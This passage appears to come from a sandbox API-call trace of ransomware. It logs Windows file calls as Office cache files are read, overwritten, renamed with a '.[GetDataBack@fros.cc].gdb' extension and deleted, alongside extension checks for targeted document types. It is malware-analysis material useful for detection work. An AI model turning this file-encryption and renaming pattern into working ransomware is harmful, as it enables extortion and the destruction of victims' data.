nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0104, lpOverlapped=0x0) returned 1 [0130.959] SetEndOfFile (hFile=0x204) returned 1 [0130.961] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.961] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.961] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.961] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.962] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0130.962] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0130.964] CloseHandle (hObject=0x204) returned 1 [0130.964] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.964] lstrlenW (lpString=".doc") returned 4 [0130.964] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0130.964] lstrlenW (lpString=".docx") returned 5 [0130.964] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0130.964] lstrlenW (lpString=".pdf") returned 4 [0130.964] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0130.964] lstrlenW (lpString=".xls") returned 4 [0130.964] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0130.964] lstrlenW (lpString=".xlsx") returned 5 [0130.964] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0130.964] lstrlenW (lpString=".ppt") returned 4 [0130.964] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0130.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.964] lstrlenW (lpString=".zip") returned 4 [0130.964] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0130.964] lstrlenW (lpString=".rar") returned 4 [0130.964] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString=".bz2") returned 4 [0130.965] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0130.965] lstrlenW (lpString=".7z") returned 3 [0130.965] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".dbf") returned 4 [0130.965] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".1cd") returned 4 [0130.965] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".jpg") returned 4 [0130.965] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".doc") returned 4 [0130.965] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString=".docx") returned 5 [0130.965] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0130.965] lstrlenW (lpString=".pdf") returned 4 [0130.965] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString=".xls") returned 4 [0130.965] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString=".xlsx") returned 5 [0130.965] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0130.965] lstrlenW (lpString=".ppt") returned 4 [0130.965] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".zip") returned 4 [0130.965] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString=".rar") returned 4 [0130.965] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString=".bz2") returned 4 [0130.965] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0130.965] lstrlenW (lpString=".7z") returned 3 [0130.965] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".dbf") returned 4 [0130.965] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".1cd") returned 4 [0130.965] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0130.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.965] lstrlenW (lpString=".jpg") returned 4 [0130.965] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0130.966] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0130.966] lstrlenW (lpString="setup.exe") returned 9 [0130.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0131.090] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1377656) returned 1 [0131.090] CloseHandle (hObject=0x1a8) returned 1 [0131.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0131.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0131.091] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0131.091] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0131.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0131.091] GetLastError () returned 0x0 [0131.091] ReadFile (in: hFile=0x1a8, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xffff0, lpOverlapped=0x0) returned 1 [0131.112] WriteFile (in: hFile=0x1c0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xffff0, lpOverlapped=0x0) returned 1 [0131.130] ReadFile (in: hFile=0x1a8, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x50588, lpOverlapped=0x0) returned 1 [0131.141] WriteFile (in: hFile=0x1c0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x50590, lpOverlapped=0x0) returned 1 [0131.148] ReadFile (in: hFile=0x1a8, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0131.148] WriteFile (in: hFile=0x1c0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xe6, lpOverlapped=0x0) returned 1 [0131.148] SetEndOfFile (hFile=0x1c0) returned 1 [0131.148] CloseHandle (hObject=0x1c0) returned 1 [0131.148] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0131.148] SetEndOfFile (hFile=0x1a8) returned 1 [0131.151] CloseHandle (hObject=0x1a8) returned 1 [0131.151] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0131.151] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0131.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.151] lstrlenW (lpString=".doc") returned 4 [0131.151] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.151] lstrlenW (lpString=".docx") returned 5 [0131.152] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0131.152] lstrlenW (lpString=".pdf") returned 4 [0131.152] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".xls") returned 4 [0131.152] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".xlsx") returned 5 [0131.152] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0131.152] lstrlenW (lpString=".ppt") returned 4 [0131.152] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString=".zip") returned 4 [0131.152] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".rar") returned 4 [0131.152] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".bz2") returned 4 [0131.152] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.152] lstrlenW (lpString=".7z") returned 3 [0131.152] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString=".dbf") returned 4 [0131.152] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString=".1cd") returned 4 [0131.152] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString=".jpg") returned 4 [0131.152] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString=".doc") returned 4 [0131.152] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.152] lstrlenW (lpString=".docx") returned 5 [0131.152] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0131.152] lstrlenW (lpString=".pdf") returned 4 [0131.152] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".xls") returned 4 [0131.152] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".xlsx") returned 5 [0131.152] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0131.152] lstrlenW (lpString=".ppt") returned 4 [0131.152] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.152] lstrlenW (lpString=".zip") returned 4 [0131.152] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".rar") returned 4 [0131.152] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.152] lstrlenW (lpString=".bz2") returned 4 [0131.153] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.153] lstrlenW (lpString=".7z") returned 3 [0131.153] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.153] lstrlenW (lpString=".dbf") returned 4 [0131.153] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.153] lstrlenW (lpString=".1cd") returned 4 [0131.153] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0131.153] lstrlenW (lpString=".jpg") returned 4 [0131.153] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.153] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0131.153] lstrlenW (lpString="VisiorWW.cab") returned 12 [0131.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0131.153] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=195011319) returned 1 [0131.153] CloseHandle (hObject=0x1a8) returned 1 [0131.153] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0131.153] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.154] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0131.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0131.154] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0131.154] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0131.154] ReadFile (in: hFile=0x1a8, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0131.161] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0131.161] ReadFile (in: hFile=0x1a8, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0131.165] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.165] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0131.165] ReadFile (in: hFile=0x1a8, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0131.294] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0131.294] WriteFile (in: hFile=0x1a8, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0104, lpOverlapped=0x0) returned 1 [0131.309] SetEndOfFile (hFile=0x1a8) returned 1 [0131.312] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0131.312] WriteFile (in: hFile=0x1a8, lpBuffer=0x3919fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3919fe8*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0131.313] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0131.313] WriteFile (in: hFile=0x1a8, lpBuffer=0x3919fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3919fe8*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0131.315] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0131.315] WriteFile (in: hFile=0x1a8, lpBuffer=0x3919fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3919fe8*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0131.317] CloseHandle (hObject=0x1a8) returned 1 [0131.317] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0131.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.317] lstrlenW (lpString=".doc") returned 4 [0131.317] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0131.317] lstrlenW (lpString=".docx") returned 5 [0131.317] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0131.317] lstrlenW (lpString=".pdf") returned 4 [0131.317] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0131.317] lstrlenW (lpString=".xls") returned 4 [0131.317] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0131.317] lstrlenW (lpString=".xlsx") returned 5 [0131.318] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0131.318] lstrlenW (lpString=".ppt") returned 4 [0131.318] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString=".zip") returned 4 [0131.318] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".rar") returned 4 [0131.318] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".bz2") returned 4 [0131.318] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0131.318] lstrlenW (lpString=".7z") returned 3 [0131.318] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString=".dbf") returned 4 [0131.318] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString=".1cd") returned 4 [0131.318] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString=".jpg") returned 4 [0131.318] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString=".doc") returned 4 [0131.318] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".docx") returned 5 [0131.318] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0131.318] lstrlenW (lpString=".pdf") returned 4 [0131.318] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".xls") returned 4 [0131.318] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".xlsx") returned 5 [0131.318] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0131.318] lstrlenW (lpString=".ppt") returned 4 [0131.318] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.318] lstrlenW (lpString=".zip") returned 4 [0131.318] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".rar") returned 4 [0131.318] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0131.318] lstrlenW (lpString=".bz2") returned 4 [0131.318] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0131.319] lstrlenW (lpString=".7z") returned 3 [0131.319] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0131.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.319] lstrlenW (lpString=".dbf") returned 4 [0131.319] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0131.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.319] lstrlenW (lpString=".1cd") returned 4 [0131.319] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0131.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0131.319] lstrlenW (lpString=".jpg") returned 4 [0131.319] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0131.319] lstrcmpiW 